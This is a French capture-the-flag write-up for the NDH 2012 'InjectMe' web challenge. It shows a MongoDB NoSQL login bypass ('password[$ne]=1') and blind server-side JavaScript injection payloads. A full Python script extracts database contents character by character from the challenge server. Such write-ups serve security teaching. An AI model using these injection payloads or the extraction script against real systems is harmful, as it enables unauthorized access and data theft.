Outils d'utilisateurs

Outils du Site


ndh2k12_public:web:injectme

InjectMe

Overview

On trouve une page avec un RPG. Il est possible de se déplacer et de lire des informations grâce au différents items de la map.

Lorsque l'on clique sur la map, un popup s'affiche pour se connecter.

Utilisation des items

En utilisant différents items (appuyer sur espace) on obtient plusieurs informations, que l'on peut récupérer par exemple dans la Console de Firebug :

Voici les informations que l'on peut récupérer :

The password should be bypassed...
The username is in one of the crystals
"commands": [ "PLAY_SE: {'filename': 'sound69.ogg'}" ]
"commands": [ "PLAY_SE: {'filename': 'sound42.ogg'}" ]

On sait donc ce qu'on doit faire : trouver le login et bypass l'authentification.

Pour trouver le login, on se place devant les cristaux et on appuie sur espace, on entend alors un son assez spécial.

Pour récupérer ces sons, on analyse le code source de l'application qui s'occupe de mettre en cache les fichiers sons :

Cache.loadAudio = function (b, d, e) {   
    // b est une string contenant le nom de notre fichier son
    // d est égal à "se" dans notre cas
    // e est une function callback
 
    if (!b) {
        return false
    }
    var f = "Audio/" + d.toUpperCase();   // Dans notre cas, f = "Audio/SE"
    var a = new Audio();
    if (typeof b != "string") {
        if (a.canPlayType) {
            if ( !! (a.canPlayType("audio/mpeg;").replace(/no/, ""))) {
                b = b.mp3 + ".mp3"
            } else {
                if ( !! (a.canPlayType('audio/ogg;codecs="vorbis"').replace(/no/, ""))) {
                    b = b.ogg + ".ogg"
                }
            }
            a.src = Cache.path + f + "/" + b
        }
    } else {
        a.src = Cache.path + f + "/" + b // Dans notre cas, a.src = "http://54.247.160.116:8007/Audio/SE/soundxx.ogg"
    }
    var c = Cache.get(b, d);
    if (c) {
        e(c);
        return c
    }
    if (!Cache.files[d]) {
        Cache.files[d] = []
    }
    Cache.files[d].push(a);
    if (e) {
        e(a)
    }
};

On télécharge les deux sons, on les ouvre avec audacity, puis on regarde leur spectrogramme.

Well! On obtient notre login : ndh2k12

Bypass du login

On observe que lorsque on valide le mini-formulaire, une requête AJAX est générée.

http://54.247.160.116:8007/login.php?user=a&password=a

Wrong username

http://54.247.160.116:8007/login.php?user=ndh2k12&password=a

Wrong password

Parfait, le login trouvé est donc bien le bon. Il ne nous reste plus qu'à bypass le bouzin. Après plusieurs tests, comme à chaque fois, on finit par y arriver. C'est une base de données NoSQL derrière, en l'occurrence MongoDB. Voir NoSQL Injection

http://54.247.160.116:8007/login.php?user=ndk2k12&password[$ne]=1

On se retrouve connecté, avec un petit formulaire de recherche à compléter.

Extraction des données

Il ne nous reste plus qu'à exploiter la nouvelle page pour récupérer le flag quoi doit sûrement être stocké dans la base de donnée. On commence par récupérer la liste des collections (nous n'avez qu'à modifier dans le script suivant pour tester ;-))

payload = "tojson(db.getCollectionNames())"
Not :  1
Not :  2
...
taille :  48
...
[ "ZE A
...
[ "ZEfl4g", "people", "system.indexes", "user" ]

La collection qui semble la plus intéressante est ZEfl4g, on cherche donc la première entrée de celle ci.

payload = "tojson(db.ZEfl4g.find()[0])"
Not : 1
Not : 2
...
taille : 85
...
{
...
{
  "_id" : ObjectId("4fed9d374550682346000017"),
  "flag" : "[|\|DH---Fl4g---2|<12]"
}

Hop, le flag est md5(”[|\|DH—Fl4g—2|<12]”) = 3796f619b8e882ee8fd0d955b4ae2e57

#!/usr/bin/env python
# encoding: utf-8
 
import sys
import os
import httplib
from urllib import quote as urlencode
 
headers = {"Cookie":"PHPSESSID=vhks5uigf3faen5m106125r1j1"}
 
def doLogin():
 
    conn = httplib.HTTPConnection("54.247.160.116:8007")
    conn.request("GET","/login.php?user=ndh2k12&password[$ne]=1","",headers)
    print "login"
 
def checkLogin():
 
    conn = httplib.HTTPConnection("54.247.160.116:8007")
    conn.request("GET","/login.php?user=ndh2k12&password[$ne]=1","",headers)
    rep = conn.getresponse().read()
    if rep.count("injector") < 0:
        doLogin()
 
def main():
 
	payload = "tojson(db.getCollectionNames())"
 
	# on cherche la taille
	length = 1
	while True:
 
	    conn = httplib.HTTPConnection("54.247.160.116:8007")
	    conn.request("GET","/getinfo.php?age=1&town="+urlencode("Paris'; return {payload}.length=={taille} ;//".format(payload=payload,taille=length)),"",headers)
	    retour = conn.getresponse().read()
 
	    if retour.count("login") > 0:
	        print "not login"
	        checkLogin()
	        continue
 
	    if retour.count("Nobody") < 1:
	        print "taille : ", length
	        break
	    else:
	        print "Not : ",length
	        length += 1
 
	# on cherche les données
	offset = 0
	result = ""
	while offset < length:
	    char = 9
	    while char < 127:
	        conn = httplib.HTTPConnection("54.247.160.116:8007")
	        conn.request("GET","/getinfo.php?age=1&town="+urlencode("Paris'; return {payload}.charCodeAt({offset})=={char};//".format(payload=payload,offset=offset,char=char)),"",headers)
	        retour = conn.getresponse().read()
 
	        if retour.count("login") > 0:
	            print "not login"
	            checkLogin()
	            continue
 
	        if retour.count("Nobody") < 1:
	            result += chr(char)
	            print result
	            break
	        else:
	            print result, chr(char)
	            char += 1
 
	    offset += 1
 
if __name__ == '__main__':
	main()
ndh2k12_public/web/injectme.txt · Dernière modification: 2017/04/09 15:33 (modification externe)